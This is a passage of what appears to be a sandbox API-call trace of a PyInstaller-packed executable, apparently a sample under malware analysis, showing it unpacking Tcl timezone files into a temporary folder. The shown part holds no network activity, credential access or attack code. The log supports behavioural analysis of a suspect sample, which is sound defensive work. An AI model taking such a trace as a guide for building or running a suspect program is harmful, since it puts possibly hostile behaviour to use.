dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.154] GetFileType (hFile=0x10c) returned 0x1 [0038.154] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.154] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.154] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.154] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.154] CloseHandle (hObject=0x10c) returned 1 [0038.154] GetLastError () returned 0x0 [0038.154] SetLastError (dwErrCode=0x0) [0038.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.154] GetFileType (hFile=0x10c) returned 0x1 [0038.155] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.155] CloseHandle (hObject=0x10c) returned 1 [0038.155] GetLastError () returned 0x0 [0038.155] SetLastError (dwErrCode=0x0) [0038.155] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.155] GetFileType (hFile=0x10c) returned 0x1 [0038.155] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.155] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.155] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.155] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.156] CloseHandle (hObject=0x10c) returned 1 [0038.156] GetLastError () returned 0x0 [0038.156] SetLastError (dwErrCode=0x0) [0038.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown") returned 72 [0038.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\freetown"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.156] GetLastError () returned 0x2 [0038.156] SetLastError (dwErrCode=0x2) [0038.156] GetLastError () returned 0x2 [0038.156] SetLastError (dwErrCode=0x2) [0038.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown", lpFilePart=0x0) returned 0x47 [0038.156] GetLastError () returned 0x2 [0038.156] SetLastError (dwErrCode=0x2) [0038.156] GetLastError () returned 0x2 [0038.156] SetLastError (dwErrCode=0x2) [0038.156] GetLastError () returned 0x2 [0038.156] SetLastError (dwErrCode=0x2) [0038.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown") returned 72 [0038.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Freetown" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\freetown"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.157] GetFileType (hFile=0x10c) returned 0x1 [0038.157] htonl (hostlong=0xec030000) returned 0x3ec [0038.157] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.157] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3ec, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3ec, lpOverlapped=0x0) returned 1 [0038.158] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.159] CloseHandle (hObject=0x10c) returned 1 [0038.159] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0038.159] htonl (hostlong=0x30000000) returned 0x30 [0038.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.159] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.159] GetFileType (hFile=0x10c) returned 0x1 [0038.159] htonl (hostlong=0x8a4f5800) returned 0x584f8a [0038.160] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cff8a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.160] htonl (hostlong=0xab000000) returned 0xab [0038.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0038.160] htonl (hostlong=0xab000000) returned 0xab [0038.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.160] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.160] htonl (hostlong=0xe9000000) returned 0xe9 [0038.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe9) returned 0x550600 [0038.160] htonl (hostlong=0xab000000) returned 0xab [0038.160] htonl (hostlong=0xe9000000) returned 0xe9 [0038.160] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.160] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.160] CloseHandle (hObject=0x10c) returned 1 [0038.160] GetLastError () returned 0x0 [0038.160] SetLastError (dwErrCode=0x0) [0038.160] GetLastError () returned 0x0 [0038.160] SetLastError (dwErrCode=0x0) [0038.160] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.160] GetFileType (hFile=0x10c) returned 0x1 [0038.160] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.160] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.160] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.160] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.161] CloseHandle (hObject=0x10c) returned 1 [0038.161] GetLastError () returned 0x0 [0038.161] SetLastError (dwErrCode=0x0) [0038.161] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.161] GetFileType (hFile=0x10c) returned 0x1 [0038.161] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.161] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.161] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.161] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.161] CloseHandle (hObject=0x10c) returned 1 [0038.161] GetLastError () returned 0x0 [0038.161] SetLastError (dwErrCode=0x0) [0038.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.162] GetFileType (hFile=0x10c) returned 0x1 [0038.162] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.162] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.162] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.162] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.162] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.162] CloseHandle (hObject=0x10c) returned 1 [0038.162] GetLastError () returned 0x0 [0038.162] SetLastError (dwErrCode=0x0) [0038.162] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone") returned 72 [0038.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\gaborone"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.162] GetLastError () returned 0x2 [0038.162] SetLastError (dwErrCode=0x2) [0038.162] GetLastError () returned 0x2 [0038.162] SetLastError (dwErrCode=0x2) [0038.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone", lpFilePart=0x0) returned 0x47 [0038.162] GetLastError () returned 0x2 [0038.162] SetLastError (dwErrCode=0x2) [0038.162] GetLastError () returned 0x2 [0038.162] SetLastError (dwErrCode=0x2) [0038.163] GetLastError () returned 0x2 [0038.163] SetLastError (dwErrCode=0x2) [0038.163] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone") returned 72 [0038.163] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Gaborone" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\gaborone"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.163] GetFileType (hFile=0x10c) returned 0x1 [0038.163] htonl (hostlong=0xe9000000) returned 0xe9 [0038.163] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.163] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9, lpOverlapped=0x0) returned 1 [0038.165] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.165] CloseHandle (hObject=0x10c) returned 1 [0038.166] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.166] htonl (hostlong=0x30000000) returned 0x30 [0038.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.166] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.166] GetFileType (hFile=0x10c) returned 0x1 [0038.166] htonl (hostlong=0x35505800) returned 0x585035 [0038.166] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0035, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.166] htonl (hostlong=0x87000000) returned 0x87 [0038.166] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0038.166] htonl (hostlong=0x87000000) returned 0x87 [0038.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.167] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.167] htonl (hostlong=0x8f000000) returned 0x8f [0038.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.167] htonl (hostlong=0x87000000) returned 0x87 [0038.167] htonl (hostlong=0x8f000000) returned 0x8f [0038.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.167] CloseHandle (hObject=0x10c) returned 1 [0038.167] GetLastError () returned 0x0 [0038.167] SetLastError (dwErrCode=0x0) [0038.167] GetLastError () returned 0x0 [0038.167] SetLastError (dwErrCode=0x0) [0038.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.167] GetFileType (hFile=0x10c) returned 0x1 [0038.167] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.167] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.167] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.167] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.167] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.168] 